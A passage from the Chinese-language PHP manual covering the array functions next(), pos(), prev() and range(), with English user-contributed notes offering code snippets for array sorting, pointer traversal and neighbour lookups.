$array['test0'] = array('main' =>  'a', 'sub' => 'a');
$array['test2'] = array('main' =>  'a', 'sub' => 'b');
$array['test3'] = array('main' =>  'b', 'sub' => 'c');
$array['test1'] = array('main' =>  'a', 'sub' => 'c');
$array['test4'] = array('main' =>  'b', 'sub' => 'a');
$array['test5'] = array('main' =>  'b', 'sub' => 'b');
?>
or
<?
$array[0] = array('main' =>  1, 'sub' => 1);
$array[2] = array('main' =>  1, 'sub' => 2);
$array[3] = array('main' =>  2, 'sub' => 3);
$array[1] = array('main' =>  1, 'sub' => 3);
$array[4] = array('main' =>  2, 'sub' => 1);
$array[5] = array('main' =>  2, 'sub' => 2);
?>
on one or more columns.

the code
<? $array = array_natsort_list($array,'main','sub'); ?>
will result in $array being sortet like this:
test0,test2,test1,test4,test5,test3
or
0,2,1,4,5,3.

you may even submit more values to the function as it uses a variable parameter list. the function starts sorting on the last and the goes on until the first sorting column is reached.

to me it was very usefull for sorting a menu having submenus and even sub-submenus.

i hope it might help you too.

here is the function:
<?
function array_natsort_list($array) {
    // for all arguments without the first starting at end of list
    for ($i=func_num_args();$i>1;$i--) {
        // get column to sort by
        $sort_by = func_get_arg($i-1);
        // clear arrays
        $new_array = array();
        $temporary_array = array();
        // walk through original array
        foreach($array as $original_key => $original_value) {
            // and save only values
            $temporary_array[] = $original_value[$sort_by];
        }
        // sort array on values
        natsort($temporary_array);
        // delete double values
        $temporary_array = array_unique($temporary_array);
        // walk through temporary array
        foreach($temporary_array as $temporary_value) {
            // walk through original array
            foreach($array as $original_key => $original_value) {
                // and search for entries having the right value
                if($temporary_value == $original_value[$sort_by]) {
                    // save in new array
                    $new_array[$original_key] = $original_value;
                }
            }
        }
        // update original array
        $array = $new_array;
    }
    return $array;
}
?>
xlab AT adaptiveNOSPAMarts DOT net 15-Jan-2004 12:51
Under limited testing, natsort() appears to work well for IP addresses. For my needs, it is far less code than the ip2long()/long2ip() conversion I was using before.
mbirth at webwriters dot de 09-Jan-2004 12:31
For those who want to natsort a 2d-array on the first element of each sub-array, the following few lines should do the job.

<?php

function natsort2d(&$aryInput) {
  $aryTemp = $aryOut = array();
  foreach ($aryInput as $key=>$value) {
    reset($value);
    $aryTemp[$key]=current($value);
  }
  natsort($aryTemp);
  foreach ($aryTemp as $key=>$value) {
    $aryOut[] = $aryInput[$key];
  }
  $aryInput = $aryOut;
}

?>
rasmus at flajm dot com 14-Dec-2003 09:30
To make a reverse function, you can simply:

function rnatsort(&$a){
    natsort($a);
    $a = array_reverse($a, true);
}
flash at minet dot net 12-Aug-2003 10:27
About the reverse natsort.. Maybe simpler to do :

function strrnatcmp ($a, $b) {
    return strnatcmp ($b, $a);
}
anonymous at coward dot net 31-May-2003 01:46
Reverse Natsort:

  function rnatsort($a, $b) {
    return -1 * strnatcmp($a, $b);
  }

  usort($arr, "rnatsort");


将数组中的内部指针向前移动一位

  • ? natsort
  • pos ?
  • PHP Manual
  • 数组 函数
  • 将数组中的内部指针向前移动一位

next

(PHP 4, PHP 5, PHP 7, PHP 8)

next — 将数组中的内部指针向前移动一位

说明

next(array|object &$array): mixed

next() 和 current() 的行为类似，只有一点区别，在返回值之前将内部指针向前移动一位。这意味着它返回的是下一个数组单元的值并将数组指针向前移动了一位。

参数

array

受影响的 array 。

返回值

返回数组内部指针指向的下一个单元的值，或当没有更多单元时返回 false。

Warning

此函数可能返回布尔值 false，但也可能返回等同于 false 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

更新日志

版本 | 说明
8.1.0 | 弃用在 object 上调用此函数。 要么首先使用 get_mangled_object_vars() 将 object 转换为 array，要么使用实现 Iterator 的类提供的方法，例如 ArrayIterator。
7.4.0 | SPL 类的实例现在被视为没有属性的空对象，而不是调用与此函数同名的 Iterator 方法。

示例

Example #1 next() 及相关函数的用法示例

<?php
$transport = array('foot', 'bike', 'car', 'plane');
$mode = current($transport); // $mode = 'foot';
$mode = next($transport); // $mode = 'bike';
$mode = next($transport); // $mode = 'car';
$mode = prev($transport); // $mode = 'bike';
$mode = end($transport); // $mode = 'plane';
?>

注释

Note: 很难区别是到了数组尾部还是元素为 bool false 。要正确遍历可能含有 false 单元的数组，参见 foreach 函数。 仍要使用 next() 并正确检测是否到了数组尾部，需要检查 key() 是否为 null。

参见

  • current() - 返回数组中的当前值
  • end() - 将数组的内部指针指向最后一个单元
  • prev() - 将数组的内部指针倒回一位
  • reset() - 将数组的内部指针指向第一个单元
  • each() - 返回数组中当前的键／值对并将数组指针向前移动一步

User Contributed Notes

tecdoc at ukr dot net 13-Nov-2023 10:10
It is good example how to loop array by current() and next() functions from php key() manual. In my opinion, this particular example would be better placed in current() and next() than key() manuals.

<?php
$array = array(
    'fruit1' => 'apple',
    'fruit2' => 'orange',
    'fruit3' => 'grape',
    'fruit4' => 'apple',
    'fruit5' => 'apple');

// this cycle echoes all associative array
// key where value equals "apple"
reset($array); // prepare array for cycle
while ($fruit_name = current($array)) {
    if ($fruit_name == 'apple') {
        echo key($array), "\n";
    }
    next($array);
}
?>
tecdoc at ukr dot net 13-Nov-2023 09:53
Be attentive! It is possibility to lose the array pointer with next() and prev();
<?php
// example
$array = array(
    'fruit1' => 'apple',
    'fruit2' => 'orange',
    'fruit3' => 'grape',
    'fruit4' => 'apple',
    'fruit5' => 'apple');

reset($array); // prepare array

$row = current($array);
var_dump($row); // 'apple'

$row = prev($array);
var_dump($row); // false. The array pointer is lossed!

$row = next($array); // it is not possible to return to the previous (first/last element)!
var_dump($row); // false
?>
Anonymous 28-Apr-2022 09:28
This is the best example of using next in a loop

<?php
$array = array(
    'fruit1' => 'apple',
    'fruit2' => 'orange',
    'fruit3' => 'grape',
    'fruit4' => 'apple',
    'fruit5' => 'apple');

// this cycle echoes all associative array
// key where value equals "apple"
reset($array); // prepare array for cycle
while ($fruit_name = current($array)) {
    if ($fruit_name == 'apple') {
        echo key($array), "\n";
    }
    next($array);
}
reset($array);
?>
Mikhail 05-Sep-2019 02:47
This function returns next element in array after your key or false if it last or key doesn't exists in array.

<?php

function nextElement(array $array, $currentKey)
{
    if (!isset($array[$currentKey])) {
        return false;
    }
    $nextElement = false;
    foreach ($array as $key => $item) {
        $nextElement = next($array);
        if ($key == $currentKey) {
            break;
        }
    }

    return $nextElement;
}
andy at andysdrawings dot co dot uk 05-Oct-2018 01:58
brentimus' array_set_pointer function will only work if the array value is unique in the array, and none of the array values are FALSE. It would be more reliable to use key() instead of current(). For similar reasons it's better to check key() after calling next() to determine whether the next() element "exists". Simply checking the value returned by next() will produce a false negative when looking at, for example, the first element of the array: ['one', 0, 'three']

However, it also turns out that the copied array retains the original array's pointer, so array_set_pointer is not actually required here. The following should work:

<?php
function has_next(array &$array) {
    $A_work = $array;  // $A_work is a copy of $array including its internal pointer.
    next($A_work);
    if (key($A_work) === NULL)
        return false;
    else
        return true;
}
?>
notImportant 03-May-2018 01:11
a more readable version of papipo's has_next function:

<?php
function has_next($array) {
    $has_next = is_array($array) && next($array) !== false;

    return $has_next;
}
?>

OR

<?php
function has_next($array) {
    $has_next = false;
    if(is_array($array)) {
        $has_next = next($array) !== false;
    }

    return $has_next;
}
?>
nigra 02-Jan-2018 08:01
This function will return the previous,next neighbors of an array entry within an associative array. If the specified $key points to the last or first element of the array, the first or last keys of the array will be returned consecutively. This is an improved version of the same function posted earlier.

<?php
function array_neighbor($count, $key = null, $arRelated = array(), $cntRelated = 2)
{
    if($count > 0 && isset($key))
    {
        $keyL = $count - 1;
        $keyR = 1;
        $arResult = array();
        for($i = 1; $i <= $cntRelated; $i++)
        {
            if($key == 0)
            {
                if(($i % 2) == 0)
                {
                    $curKey = $count - $keyL;
                    $keyL--;
                }
                else
                {
                    $curKey = $count - $keyR;
                    $keyR++;
                }
            }
            else
            {
                if($arRelated[$i] >= $count - 1)
                {
                    $curKey = 0;
                }
                else
                {
                    $curKey = $arRelated[$i] + 1;
                }
            }
            $arResult[$i] = $curKey;
        }
        return $arResult;
    }
}

$arr = range(0, 4);
$count = count($arr);

foreach($arr as $key => $v)
{
    if($arRelated = array_neighbor($count, $key, $arRelated))
    {
        $arHeighbor[$key]['RELATED'] = $arRelated;
    }
}

echo '<pre>';print_r($arHeighbor); echo '</pre>';
?>
Array
(
    [0] => Array
        (
            [RELATED] => Array
                (
                    [1] => 4
                    [2] => 1
                )

        )

    [1] => Array
        (
            [RELATED] => Array
                (
                    [1] => 0
                    [2] => 2
                )

        )

    [2] => Array
        (
            [RELATED] => Array
                (
                    [1] => 1
                    [2] => 3
                )

        )

    [3] => Array
        (
            [RELATED] => Array
                (
                    [1] => 2
                    [2] => 4
                )

        )

    [4] => Array
        (
            [RELATED] => Array
                (
                    [1] => 3
                    [2] => 0
                )

        )

)
JumpIfBelow 24-Aug-2017 11:57
Now from PHP 7.2, the function "each" is deprecated, so the has_next I've posted is no longer a good idea. There is another to keep it simple and fast:

<?php
function has_next(array $_array)
{
  return next($_array) !== false ?: key($_array) !== null;
}
?>
JumpIfBelow 30-Jul-2015 12:45
After dealing with the fact that next() will either returns FALSE when there is no further element in the array or if the element itself is FALSE, I finally find a way to do a has_next() method, which will never fails. You can ignore and/or downvote my last comment, this it will be deleted.
Here is the code that work :
<?php
    function has_next(array $a){
        return next($a) !== false ?: each($a) !== false;
    }
?>
double at dumpit dot de 08-Dec-2009 01:19
PHP: 5.2.10-2ubuntu6.3 (default apt-get installation on actual, see Date, jaunty 9.10 Ubuntu Distro - G33kWoRDs)

Have a look at your array pointer if you copy an array - the pointer will be copied, too.

For example if you got this construct:
<?php
    $array = array('zero','one','two','three','four','five','six','seven');
    $array2 = $array;
    next($array);
    echo key($array);
    echo key($array2);

    // will output:
    // 1
    // 0
?>

But if you copy the array after you've setted the pointer, the pointer will be copied, too:
<?php
    $array = array('zero','one','two','three','four','five','six','seven');
    next($array);
    $array2 = $array;
    echo key($array);
    echo key($array2);

    // will output:
    // 1
    // 1
?>

What's more is, that foreach not resetting the pointer after walk through:
<?php

    $array = array('zero','one','two','three','four','five','six','seven');
    next($array);
    $array2 = array();
    foreach($array AS $key => $value){
        echo $key;
        $array2[$key] = $value;
    }
    echo var_dump(key($array));
    echo key($array2);

    // will output for foreach:
    // 0 1 2 3 4 5 6 7
    // and for the keys
    // NULL
    // 0
?>

The php-functions seems to reset the pointer on the given position after walk through (i don't know the internal handling - there could be used a copy of the array, too):
<?php

    $array = array('zero','one','two','three','four','five','six','seven');
    next($array);
    $array2 = array_values($array);
    echo key($array);
    echo key($array2);

    // will output:
    // 1
    // 0
?>

There are a lot Methods like array_merge($array) that will neither reset the pointer of $array nor copy the pointer to $array2. Have a look on this.
I Hope this was a little helpfull.
ThinkMedical at Gmail dot com 02-Sep-2008 03:27
regarding references with foreach, you can use them directly. Obviating various posts which provide many lines of 'work arounds'.

$array = array(1,2,3,4,5);

foreach($array as &$value)

or use $key

foreach($array as $key => $value)
{
    $array[$key] = '...';
}
darkside at i dot ua 11-Dec-2007 03:36
This class implements simple operations with array

<?php
class Steps {

    private $all;
    private $count;
    private $curr;

    public function __construct () {

      $this->count = 0;

    }

    public function add ($step) {

      $this->count++;
      $this->all[$this->count] = $step;

    }

    public function setCurrent ($step) {

      reset($this->all);
      for ($i=1; $i<=$this->count; $i++) {
        if ($this->all[$i]==$step) break;
        next($this->all);
      }
      $this->curr = current($this->all);

    }

    public function getCurrent () {

      return $this->curr;

    }

    public function getNext () {

      self::setCurrent($this->curr);
      return next($this->all);

    }

  }
?>

usage example:

<?php
   $steps = new Steps();
   $steps->add('one');
   $steps->add('two');
   $steps->add('three');
   $steps->setCurrent('one');
   echo $steps->getCurrent()."<br />";
   echo $steps->getNext()."<br />";
   $steps->setCurrent('two');
   echo $steps->getCurrent()."<br />";
   echo $steps->getNext()."<br />";
?>
gg2005 at gmail dot com 06-Feb-2007 01:32
Don't confuse next with continue!

If you're a Perl developer starting with PHP, you might try to use "next" inside a loop to skip to the next iteration...

i.e.,

foreach ($things as $thing) {
  if (something I don't like about $thing) {
   next;
  }
  blah....
}

The php compiler will take next... but it's not going to work.

Do this instead:
foreach ($things as $thing) {
  if (something I don't like about $thing) {
   continue;
  }
  blah....
}
tino at infeon dot com 13-May-2006 08:48
this may be handy and i didnt know where else to post it.. i need a simple function to cycle through an array i eventually made it into a class so i could have multiple cycles.. if you like it or find it usefull please email me and let me know

class Cycle
{
    var $position;
    var $dataArray;
    var $dataArrayCount;

    function Cycle()
    {
        $this->dataArray = func_get_args();
        $this->dataArrayCount = count($this->dataArray);
    }

    function Display()
    {
        $this->position = (!isset($this->position) || $this->position >= ($this->dataArrayCount - 1)) ? 0 : $this->position += 1;
        return $this->dataArray[$this->position];
    }

}

$bgColor = new Cycle('#000000', '#FFFFFF', '#FF0000');

echo $bgcolor->Display();
//returns #000000
echo $bgcolor->Display();
//returns #FFFFFF
echo $bgcolor->Display();
//returns #FF0000
echo $bgcolor->Display();
//returns #000000
brentimus 28-Apr-2005 10:10
Papipo's function below is usefull in concept but does not work.

"Since you do not pass the array by reference, its pointer is only moved inside the function."

This is true, but the array you are manipulating in your has_next() function will have it's pointer set to the first element, not the same position as the original array. What you want to do is pass the array to the has_next() function via reference. While in the has_next() function, make a copy of the array to work on. Find out the current pointer position of the original array and set the pointer on the working copy of the array to the same element. Then you may test to see if the array has a "next" element.

Try the followig insetad:

<?php
function has_next(&$array)
{
    $A_work=$array;  //$A_work is a copy of $array but with its internal pointer set to the first element.
    $PTR=current($array);
    array_set_pointer($A_work, $PTR);

    if(is_array($A_work))
    {
        if(next($A_work)===false)
            return false;
        else
            return true;
    }
    else
        return false;
}

function array_set_pointer(&$array, $value)
{
    reset($array);
    while($val=current($array))
    {
        if($val==$value)
            break;

        next($array);
    }
}
?>
papipo's gmail account 13-Oct-2004 01:47
I need to know if an array has more items, but without moving array's internail pointer. Thats is, a has_next() function:

<?php
function has_next($array) {
    if (is_array($array)) {
        if (next($array) === false) {
            return false;
        } else {
            return true;
        }
    } else {
        return false;
    }
}

$array = array('fruit', 'melon');
if (has_next($array)) {
    echo next($array);
}

// prints 'melon'
?>

Since you do not pass the array by reference, its pointer is only moved inside the function.
Hope that helps.
lukasz at karapuda dot com 18-Aug-2004 10:06
This function will return the previous,next neighbors of an array entry within an associative array. If the specified $key points to the last or first element of the array, the first or last keys of the array will be returned consecutively. This is an improved version of the same function posted earlier.

<?php
function array_neighbor($arr, $key)
{
   $keys = array_keys($arr);
   $keyIndexes = array_flip($keys);

   $return = array();
   if (isset($keys[$keyIndexes[$key]-1])) {
       $return[] = $keys[$keyIndexes[$key]-1];
   }
   else {
       $return[] = $keys[sizeof($keys)-1];
   }

   if (isset($keys[$keyIndexes[$key]+1])) {
       $return[] = $keys[$keyIndexes[$key]+1];
   }
   else {
       $return[] = $keys[0];
   }

   return $return;
}
?>
court shrock 20-May-2004 04:36
This code returns neighbors of the specified key.  The result will be empty if it doesn't have any neighbors.  My approach was to use the order of keys to determine neighbors, which is differnet from just getting the next/previous element in an array.  Feel free to point out stupidities :)

<?php

function array_neighbor($arr, $key)
{
    krsort($arr);
    $keys = array_keys($arr);
    $keyIndexes = array_flip($keys);

    $return = array();
    if (isset($keys[$keyIndexes[$key]-1]))
        $return[] = $keys[$keyIndexes[$key]-1];
    if (isset($keys[$keyIndexes[$key]+1]))
        $return[] = $keys[$keyIndexes[$key]+1];

    return $return;
}

?>
bm at ANTISPAM dot solidwave dot com 16-Apr-2004 09:49
Take care when replacing code using reset()/next() with code using foreach as foreach does not update the array's internal pointer.  This means you cannot, say, use next() to skip an element in foreach loop, or use current() within a function to get a reference to the current element.  You probably have code depending on this internal pointer and replacing it will be more work than you anticipated.

See http://www.php.net/foreach


current 的别名

  • ? next
  • prev ?
  • PHP Manual
  • 数组 函数
  • current 的别名

pos

(PHP 4, PHP 5, PHP 7, PHP 8)

pos — current() 的别名

说明

此函数是该函数的别名：current()。

User Contributed Notes

There are no user contributed notes for this page.


将数组的内部指针倒回一位

  • ? pos
  • range ?
  • PHP Manual
  • 数组 函数
  • 将数组的内部指针倒回一位

prev

(PHP 4, PHP 5, PHP 7, PHP 8)

prev — 将数组的内部指针倒回一位

说明

prev(array|object &$array): mixed

将数组的内部指针倒回一位。

prev() 和 next() 的行为类似，只除了它将内部指针倒回一位而不是前移一位。

参数

array

The input array.

返回值

返回数组内部指针指向的前一个单元的值，或当没有更多单元时返回 false。

Warning

此函数可能返回布尔值 false，但也可能返回等同于 false 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

更新日志

版本 | 说明
8.1.0 | 弃用在 object 上调用此函数。 要么首先使用 get_mangled_object_vars() 将 object 转换为 array，要么使用实现 Iterator 的类提供的方法，例如 ArrayIterator。
7.4.0 | SPL 类的实例现在被视为没有属性的空对象，而不是调用与此函数同名的 Iterator 方法。

示例

Example #1 prev() 及相关函数用法示例

<?php
$transport = array('foot', 'bike', 'car', 'plane');
$mode = current($transport); // $mode = 'foot';
$mode = next($transport); // $mode = 'bike';
$mode = next($transport); // $mode = 'car';
$mode = prev($transport); // $mode = 'bike';
$mode = end($transport); // $mode = 'plane';
?>

注释

Warning

此函数可能返回布尔值 false，但也可能返回等同于 false 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

Note: 很难区分是遇到 boolean false 单元还是遇到了数组的开头。 需要用 key() 检查 prev() 数组， 是否为 null 来作区分。

参见

  • current() - 返回数组中的当前值
  • end() - 将数组的内部指针指向最后一个单元
  • next() - 将数组中的内部指针向前移动一位
  • reset() - 将数组的内部指针指向第一个单元
  • each() - 返回数组中当前的键／值对并将数组指针向前移动一步

User Contributed Notes

Mikhail 05-Sep-2019 02:56
Function to get element in array, that goes previous your key or false if it not exeists or key doesn't isset in array.

<?php

function previousElement(array $array, $currentKey)
{
    if (!isset($array[$currentKey])) {
        return false;
    }
    end($array);
    do {
        $key = array_search(current($array), $array);
        $previousElement = prev($array);
    }
    while ($key != $currentKey);

    return $previousElement;
}
MicroVB INC 31-Mar-2014 05:09
Some corrections to the previous function.
- When prev() and next() distance is now calculated properly returning the 'closer' one.
- When exact is false, and an item exists with the key searched for, it now returns that entry instead of next/prev closest
- At ends of the array, sometimes when moving past using next() or prev(), it caused results to die. This was corrected.
- Added field to result stating whether the match was 'exact' ('exact'=>true), or nearest ('exact'=>false)

<?php
function nearest($array, $value, $exact=false) {
    // Initialize Variables
    $next = false;
    $prev = false;
    $return = false;

    $arr_begin = false;
    $arr_end = false;

    $exact_match = false;

    if($exact && isset($array[$value])) {
        // If exact match found, and searching for exact (not nearest), return result.
        $return = Array($value=>$array[$value]);
        $exact_match = true;
    } elseif (!$exact && isset($array[$value])) {
        // If exact match found, and searching for nearest, return result.
        $return = Array($value=>$array[$value]);
        $exact_match = true;
    } else {

        if(!isset($array[$value]) && !$exact) {
            // Insert element that doesn't exist so nearest can be found
            $array[$value] = '-';
        }

        // Sort array so injected record is near relative numerics
        ksort($array); // Sort array on key

        // Set start and end keys
        $arr_begin = key($array);
        end($array);
        $arr_end = key($array);
        reset($array);

        // Loop through array until match is found, then set $prev and $next to the respective keys if exist
        while ( !is_null($key = key($array)) ) {
            $val = current($array);
            if($key == $value) {
                if($value <> $arr_begin) {
                    prev($array); // Get entry before this one
                    $prev = key($array);
                }

                next($array);         // Skip current entry as this was what we were looking for nearest to

                if($value <> $arr_end) {
                    next($array); // Get entry after this one
                    $next = key($array);
                }
                break;
            }
            next($array);
        }

        if($prev && $next) {
            if(($value - $prev) < ($next - $value)) {
                // Previous is closer
                $return = Array($prev=>$array[$prev]);
            } else {
                // Next is closer
                $return = Array($next=>$array[$next]);
            }
        } elseif ($prev || $next) {
            if($prev) {
                // Only Previous exists
                $return = Array($prev=>$array[$prev]);
            } elseif ($next) {
                // Only Next exists
                $return = Array($next=>$array[$next]);
            }
        }
    }

    // Return resulting Array().   $return is false if nothing matches the closest conditions, or if exact is specified and key does not exist.
    if($return) {
        return $return+Array('exact'=>$exact_match);
    } else {
        return false;
    }
}
?>

Just to clarify, this function will return either an Array() containing the $key=>$value pair of the result and 'exact'=>(bool) whether the match was exact or not.

To access the $key=>$value pair, can be done as follows :
<?php

    $result = nearest( ... );  // Just here for clarification of the position for the code that follows.

    if($result) {
        // Output the Key
        echo key($result);

        // Output the Value
        echo $result( key($result) );

        // Output if exact match
        if($result['exact']) {
            echo 'This was an EXACT match';
        } else {
            echo 'This result was found with fuzzy logic';
        }

    } else {

        echo 'No result found';

    }

?>
MicroVB INC 31-Mar-2014 01:17
This function searches for the closest element in an array by key value, and returns the key/value pair, or false if not found.

<?php
function nearest($array, $value, $exact=false) {
        // Initialize Variables
    $next = false;
    $prev = false;
    $return = false;

    if(!isset($array[$value]) && !$exact) {
        // Insert element that doesn't exist so nearest can be found
        $array[$value] = '-';
    }

    if($exact && isset($array[$value])) {
                // If exact match found, and searching for exact (not nearest), return result.
        $return = Array($value=>$array[$value]);
    } else {
            // Sort array so injected record is near relative numerics
        ksort($array); // Sort array on key

                // Loop through array until match is found, then set $prev and $next to the respective keys if exist
        while ( !is_null($key = key($array)) ) {
            $val = current($array);
            if($key == $value) {
                prev($array); // Get entry before this one
                $prev = key($array);
                next($array);         // Skip current entry as this was what we were looking for nearest to
                next($array); // Get entry after this one
                $next = key($array);
                break;
            }
            next($array);
        }

        if($prev && $next) {
            if(($long - $prev) > ($next - $long)) {
                                 // Previous is closer
                $return = Array($prev=>$array[$prev]);
            } else {
                                 // Next is closer
                $return = Array($next=>$array[$next]);
            }
        } elseif ($prev || $next) {
            if($prev) {
                                 // Only Previous exists
                $return = Array($prev=>$array[$prev]);
            } elseif ($next) {
                                 // Only Next exists
                $return = Array($next=>$array[$next]);
            }
        }
    }

        // Return resulting Array().   $return is false if nothing matches the closest conditions, or if exact is specified and key does not exist.
    return $return;
}
?>

Example usage (to lookup the closest color in an array)
<?php
$mycolors= Array(
    5001046=>'Abbey',
    1774596=>'Acadia',
    8171681=>'Acapulco',
    6970651=>'Acorn',
    13238245=>'Aero Blue',
    7423635=>'Affair',
    8803850=>'Afghan Tan',
    13943976=>'Akaroa',
    16777215=>'Alabaster',
    16116179=>'Albescent White',
    10176259=>'Alert Tan',
    30371=>'Allports'
);

// Color to search for in Hex
$color = 'C0C0C0';

// Convert Hex to Long to compare with array() keys
$colorlong = base_convert($color,16,10);

// Check for an exact match
$result = nearest($mycolors, $colorlong, true);
if($result) {
    echo "An exact match was found for #" . $color . " which is called '" . $result[key($result)] . "'";
} else {
    echo "No exact match was found";
}

if(!$result) {
    // Check for closest match
    $result = nearest($mycolors, $colorlong, true);
    if($result) {
        // Match found
        echo "The closest match for #" . $color . " is #" . base_convert(key($result),10,16) . " which is called '" . $result[key($result)] . "'";
    } else {
        // No match found
        echo "No match was found for #" . $color;
    }
}
?>
soapergem at gmail dot com 29-May-2009 12:06
Here's a slight revision to xmlich02's backwards iteration example. The problem with his/her example is that it will halt if any of the array elements are boolean false, while this version will not.

<?php

end($ar);
while ( !is_null($key = key($ar)) ) {
    $val = current($ar);
    echo "{$key} => {$val}\n";
    prev($ar);
}

?>


根据范围创建数组，包含指定的元素

  • ? prev
  • reset ?
  • PHP Manual
  • 数组 函数
  • 根据范围创建数组，包含指定的元素

range

(PHP 4, PHP 5, PHP 7, PHP 8)

range — 根据范围创建数组，包含指定的元素

说明

range(string|int|float $start, string|int|float $end, int|float $step = 1): array

建立一个包含指定范围单元的数组。

如果 start 和 end 都是 string，step 是 int，则生成的数组是字节序列，否则，生成的数组将是数字序列。

如果 start 小于或等于 end，则为递增序列，否则为递减序列。

参数

start

序列的第一个值。

end

序列的最后一个可能值。

step

step 表示在序列之间产生序列时前进的数量。

对于递减序列，step 可能是负数。

如果 step 是没有小数部分的 float，则将解释为 int。

返回值

返回 array，由元素组成的序列，其中第一个元素为 start，最后一个元素为 end，序列中每个元素之间的差值为 step。

返回的数组的最后一个元素是 end 或序列中的前一个元素，具体取决于 step。

如果 start 和 end 都是 string，并且 step 是 int，则生成的数组将是字节序列，通常是拉丁 ASCII 字符。

如果 start、end 或 step 是 float，则生成的数组将是 float 序列。

否则，生成的数组将是 int 序列。

错误／异常

  • 如果 step 是 0，则抛出 ValueError。
  • 如果 start、end 或 step 不是 is_finite()，则抛出 ValueError。
  • 如果 step 是负数，但生成的范围是递增的（例如 $start <= $end），则抛出 ValueError。
  • 如果 start 或 end 是空字符串 ''，则发出 E_WARNING 并将空字符串解释为 0。
  • 如果 start 或 end 不是数字字符串，并且多于一个字节，将发出 E_WARNING。
  • 如果 start 或 end 是字符串，并且由于另一个边界值是数字而默默转换为 int，将发出 E_WARNING。
  • 如果 step 是 float，并且 start 和 end 不是数字字符串，将发出 E_WARNING。

更新日志

版本 | 说明
8.3.0 | 如果 start 和 end 都是字符串，然后 range() 现在将始终生成字节 array。之前如果其中一个边界值是数字字符串，然后另外一个边界值也会默默转换为 int。
8.3.0 | 如果 start 或 end 是字符串，并且由于另一个边界值是数字而默默转换为 int，现在将发出 E_WARNING。
8.3.0 | 如果 start 或 end 是多于一个字节的非数字字符串，现在将发出 E_WARNING。
8.3.0 | 如果 start 或 end 是空字符串，现在将发出 E_WARNING。
8.3.0 | 如果 step 是不带小数部分的 float，将解释为 int。
8.3.0 | 如果 step 是负数，当生成的范围是递增时，现在将抛出 ValueError。
8.3.0 | 如果 step 不是有限数值（finite），现在将抛出 ValueError。
8.3.0 | 如果 start 或 end 是 array、object 或 resource，现在将会抛出 TypeError。之前会默默地转换为 int。

示例

Example #1 range() 示例

<?php
echo implode(', ', range(0, 12)), PHP_EOL;

echo implode(', ', range(0, 100, 10)), PHP_EOL;

echo implode(', ', range('a', 'i')), PHP_EOL;

echo implode(', ', range('c', 'a')), PHP_EOL;

echo implode(', ', range('A', 'z')), PHP_EOL;
?>

以上示例会输出：

0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12
0, 10, 20, 30, 40, 50, 60, 70, 80, 90, 100
a, b, c, d, e, f, g, h, i
c, b, a
A, B, C, D, E, F, G, H, I, J, K, L, M, N, O, P, Q, R, S, T, U, V, W, X, Y, Z, [, \, ], ^, _, `, a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u, v, w, x, y, z

参见

  • shuffle() - 打乱数组
  • array_fill() - 用给定的值填充数组
  • foreach

User Contributed Notes

VivienG 15-Sep-2023 12:25
They forgot to say something.
If the ending value not encounter the last sequence, the function return false.
In other words :
Given a int $n, if ( $start + $n * $step ) < $end and  ( $start + ( $n + 1 ) * $step ) > $end, the function doen't give the maximum possible range, it returns a boolean.
So the last range number HAVE TO BE the end number.
mohammed dot hussein dot mahmoud at gmail dot com 04-Jan-2022 06:47
You could use negative numbers in place of the `step` parameter. You need to make sure that the `start` is bigger than `end`. Note that range() function in php generates the range inclusive, i.e. it also includes the `end` parameter and not just up to it but not including it like most other languages.
The following snippet of code should explain what I mean about negative steps:

<?php

// 100, 90, 80, 70, 60, 50, 40, 30, 20, 10, 0
print_r(range(100, 0, -10));

?>

What happens basically is that the range function does not really care about what is bigger or smaller, it just adds the step to the start and appends that to the a temp result variable as long as it did not reach the end param value. In this case, adding negative numbers is like minus (computers do that for 2's complement under the hood.) This will cause the number to go from 100 to 90 and then the function will check if 90 reached 0 yet. Since it wouldn't have done that, it will keep adding -step (-10 in that case) to the latest result (i.e. 90) and so on and so forth.

Since range() is said to be better and faster than array_fill() I believe it was important for me to try it out and actually post this note on the official documentation just to make sure people can use this.
ccb_bc at hotmail dot com 10-Jun-2019 05:45
<?php
    function natural_prime_numbers(array $range, bool $print_info = false) : array {
        $start_time = time();
        $primes_numbers = array();
        $print = '';
        $count_range  = count($range);
        foreach($range as $number){
            $values_division_number = array();
            if($number === 0 || $number === 1 || !is_int($number)){ // eliminate 0, 1 and other no integer
                continue;
            }
            if($number != 2 && $number%2 === 0){ // eliminate 2 and pairs numbers
                continue;
            }
            for($i = 1; $i <= $number; $i++){
                $resultado_divisao = $number / $i;
                $values_division_number[$i] = $resultado_divisao;

                if($count_range <= 20){ // $count_range <= 20 (+ performance)
                    $print .= PHP_EOL;
                    $info = 'The number '.$number.' divided by the number '.$i.' is equal to: '.($number / $i);
                    $print .= $info;
                    if($i === $number){
                        $print .= PHP_EOL;
                    }
                }

                array_walk($values_division_number, function($value, $index) use (&$values_division_number, &$number){ // reference change values
                    // eliminate floats and others numbers not are equal 1 and own number
                    if(is_float($value) && $value != $number && $value > 1){
                        unset($values_division_number[$index]);
                    }
                });

                $values_division_number = array_values($values_division_number); // reindex array

                // here we want only array with 2 indexes with the values 1 and own number (rule to a natural prime number)
                if(count($values_division_number) === 2 && $values_division_number[0] === $number && $values_division_number[1] === 1){
                    $primes_numbers[$number] = $number;
                }

            }
        }
        return array(
            'length_prime_numbers' => count($primes_numbers),
            'prime_numbers' => array_values($primes_numbers),
            'print' => $print,
            'total_time_processing' => (time() - $start_time).' seconds.',
        );
    }
    var_dump(natural_prime_numbers(range(0, 11))); // here the range() function ;-)

    // Result:
    // array (size=3)
    //   'length_prime_numbers' => int 5
    //   'prime_numbers' =>
    //     array (size=5)
    //       0 => int 2
    //       1 => int 3
    //       2 => int 5
    //       3 => int 7
    //       4 => int 11
    //   'print' => string '
    // O número 2 dividido pelo número 1 é igual a: 2
    // O número 2 dividido pelo número 2 é igual a: 1

    // O número 3 dividido pelo número 1 é igual a: 3
    // O número 3 dividido pelo número 2 é igual a: 1.5
    // O número 3 dividido pelo número 3 é igual a: 1

    // O número 5 dividido pelo número 1 é igual a: 5
    // O número 5 dividido pelo número 2 é igual a: 2.5
    // O número 5 dividido pelo número 3 é igual a: 1.6666666666667
    // O número 5 dividido pelo número 4 é igual a: 1.25
